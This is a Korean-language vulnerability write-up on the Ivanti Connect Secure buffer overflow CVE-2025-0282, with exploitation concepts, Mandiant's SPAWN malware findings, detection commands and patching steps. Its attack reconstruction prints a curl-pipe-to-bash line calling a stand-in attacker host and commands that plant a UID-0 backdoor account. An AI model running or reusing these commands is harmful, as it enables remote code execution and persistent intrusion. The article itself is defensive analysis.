/CVE 분석/CVE-2025-0282
CriticalCVSS 92025-01-08

CVE-2025-0282: Ivanti Connect Secure 스택 버퍼 오버플로우 RCE (CVSS 9.0)

Ivanti Connect Secure VPN에서 발견된 스택 버퍼 오버플로우 제로데이. 패치 전 공격자들이 중국 관련 위협 그룹에 의해 적극적으로 악용된 것으로 분석됨.

#Ivanti#VPN#Buffer Overflow#RCE#Zero-Day#2025

개요

항목 내용
CVE ID CVE-2025-0282
CVSS 점수 9.0 (Critical)
영향 제품 Ivanti Connect Secure < 22.7R2.5, Policy Secure, ZTA Gateways
취약점 유형 Stack Buffer Overflow → RCE
인증 필요 ❌ Pre-auth RCE
발견 Mandiant, 2025년 1월
패치 2025-01-08

기본 원리: 스택 버퍼 오버플로우

스택 메모리 구조

프로그램이 함수를 호출할 때 스택(Stack)에 스택 프레임이 생성된다. 스택 프레임에는 함수의 지역 변수, 반환 주소, 이전 스택 포인터가 저장된다.

스택 메모리 (높은 주소 → 낮은 주소로 성장):

높은 주소
  +--------------------+
  |  반환 주소(RET)    |  ← 함수 종료 후 돌아갈 주소
  +--------------------+
  |  저장된 RBP        |  ← 이전 스택 프레임 포인터
  +--------------------+
  |  지역 변수         |
  |  char buf[256]     |  ← 고정 크기 버퍼 (256바이트)
  +--------------------+
낮은 주소

오버플로우가 일어나면

strcpy(), gets(), sprintf()길이 검사 없이 복사하는 함수가 버퍼 크기보다 큰 데이터를 쓰면 인접한 메모리를 덮어쓴다.

void parse_request(char *input) {
    char buffer[256];        // 256바이트 스택 버퍼
    strcpy(buffer, input);   // input 길이가 256을 초과하면 오버플로우!
}

// 공격자가 300바이트 input 전송:
// buffer[0..255]: 정상 데이터
// buffer[256..263]: 저장된 RBP 덮어씀
// buffer[264..271]: 반환 주소 덮어씀 ← 여기가 핵심!
// buffer[272..299]: 나머지 (셸코드 또는 ROP 가젯)

// 함수가 ret 명령 실행 시:
// → 스택에서 조작된 반환 주소를 EIP/RIP에 로드
// → 공격자가 원하는 코드로 점프

현대적 보호 기법과 우회

현대 시스템의 보호 기법:
  ASLR (Address Space Layout Randomization): 
    → 스택/힙/라이브러리 주소를 매 실행마다 랜덤화
    → 우회: 정보 유출로 베이스 주소 파악, 부분 주소 덮어쓰기

  Stack Canary: 
    → 버퍼와 반환 주소 사이에 랜덤 값 배치
    → 반환 전 값 변경 여부 확인
    → 우회: 카나리 값 유출 또는 오버플로우 없이 직접 반환 주소 쓰기 (포맷 스트링 등)

  NX/DEP (Non-Executable Stack):
    → 스택 영역 코드 실행 금지
    → 우회: ROP(Return Oriented Programming) — 기존 코드 조각 재활용

VPN 장비는 임베디드 리눅스 기반으로 이런 보호 기법이
일반 배포판보다 약하게 적용되는 경우가 많음

취약점 상세

영향 받는 버전

Ivanti Connect Secure: 22.7R2.4 이하
Ivanti Policy Secure: 22.7R1.2 이하
Ivanti Neurons for ZTA Gateways: 22.7R2.3 이하

취약한 컴포넌트

/* 취약한 코드 개념 (의사코드) */
void handle_http_request(char *request_data) {
    char buffer[256];  /* 고정 크기 스택 버퍼 */
    
    /* HTTP 요청 파라미터를 버퍼에 복사 — 길이 검사 없음 */
    strcpy(buffer, request_data);  /* ← 취약점 */
    
    process_request(buffer);
}

/* 공격: 256바이트를 초과하는 HTTP 요청 전송
   → 반환 주소 덮어쓰기
   → ROP 체인으로 system() 또는 셸 실행 */

공격 경로:

인터넷 → HTTPS 443/4443 → Ivanti SSL VPN 웹 인터페이스
→ /remote/login 또는 기타 엔드포인트 HTTP 파라미터 전송
→ sslvpnd 데몬의 버퍼 오버플로우
→ 루트 권한 코드 실행

실제 악용 사례 (Mandiant 분석)

공격 그룹: UNC5337 (중국 관련 추정)
발견 경위: Mandiant가 고객 침해 사고 조사 중 발견
공격 시작: 2024년 12월 (패치 전 제로데이 악용)

SPAWN 악성코드 계열

공격자들은 RCE 후 맞춤형 악성코드를 배포해 Ivanti 특화 지속성을 확보했다.

SPAWNANT:
  역할: 설치 프로그램 / 지속성 확보 도구
  특징: Ivanti의 ICT(Integrity Check Tool) 우회
       → 무결성 검사 통과 위해 검사 도구 자체를 조작

SPAWNMOLE:
  역할: SOCKS5 프록시 터널 (네트워크 피벗)
  특징: 정상 VPN 프로세스(dsmdm 등)에 인젝션
       → 합법적 VPN 트래픽으로 위장
       → 방화벽/IDS 탐지 회피

SPAWNSNAIL:
  역할: SSH 백도어 (영구 원격 접근)
  특징: /etc/passwd에 새 계정 추가
       특수 SSH 키로만 접근 가능
       → 패치 적용 후에도 백도어가 살아남을 수 있음
# 공격 후 행동 재구성
# 1. CVE-2025-0282로 루트 쉘 획득
# 2. SPAWNANT 설치
bash -c "curl http://attacker.com/spawnant | bash"

# 3. SPAWNMOLE (프록시) 인젝션 — 합법적 프로세스로 위장
# PID=$(pgrep dsmdm)
# 해당 프로세스에 SPAWNMOLE 인젝션

# 4. SPAWNSNAIL (SSH 백도어) 설치
echo "backdoor:x:0:0::/:/bin/bash" >> /etc/passwd
echo "backdoor:$(openssl passwd -1 'secretpass'):18000:0:99999:7:::" >> /etc/shadow

# 5. ICT 조작 — 무결성 검사 우회
# /tmp에 악성 파일 숨기거나 ICT 실행 프로세스 자체 후킹

탐지 방법

# Ivanti 공식 ICT(Integrity Check Tool) 실행
# https://forums.ivanti.com/s/article/KB-CVE-2025-0282

# 의심스러운 프로세스 확인
ps aux | grep -E "spawnmole|spawnsnail|spawnant"

# 비정상적인 네트워크 연결
netstat -tlnp | grep ESTABLISHED | grep -v ":(443|22|4443)"

# /etc/passwd에 최근 추가된 계정 확인
grep "0:0" /etc/passwd  # UID 0 (루트 권한) 계정
awk -F: '$3 == 0 {print $1}' /etc/passwd  # UID 0인 계정 모두 출력

# 파일 시스템 이상 확인
find /bin /lib /usr -newer /var/log/install.log -type f 2>/dev/null

대응 방법

1단계: 즉시 패치
  Connect Secure: 22.7R2.5 이상으로 업그레이드
  Policy Secure: 22.7R1.3 이상
  ZTA Gateways: 22.7R2.5 이상

2단계: 침해 여부 확인
  - Ivanti ICT 도구로 무결성 검사
  - CISA Emergency Directive 25-01 체크리스트 확인
  - 위 탐지 명령어로 백도어 계정, 비정상 프로세스 확인

3단계: 침해 확인 시
  - 장비 공장 초기화 (Factory Reset) — 백도어 완전 제거
  - 모든 VPN 자격증명 즉시 재설정
  - 세션 토큰 전면 무효화
  - 내부망 측방 이동 여부 조사 (Compromise Assessment)
  - 외부 포렌식 팀 투입 권고

4단계: 장기 조치
  - 불필요한 외부 노출 최소화 (VPN 관리 인터페이스 접근 제한)
  - 지속적인 로그 모니터링
  - VPN 장비 OS 정기 업데이트 정책 수립

교훈

VPN 장비의 특수한 위험성:
  - 인터넷 직접 노출 + 내부망 접근 권한 = 최우선 공격 표적
  - VPN 장비 침해 = 내부망 전체 노출
  - Ivanti(CVE-2025-0282), Fortinet(CVE-2024-21762), PaloAlto(CVE-2024-3400)
    → 모두 2024~2025년 VPN 장비 제로데이 악용 사례

네트워크 경계 장비 보안 원칙:
  1. 펌웨어 자동 업데이트 정책 (Critical 패치 = 48시간 이내 적용)
  2. 관리 인터페이스 접근 IP 화이트리스트 제한
  3. VPN 로그 실시간 모니터링 + SIEM 연동
  4. Assume Breach 원칙: VPN 장비 침해를 가정하고 내부망 세그멘테이션
  5. 연 1회 이상 외부 침투 테스트 실시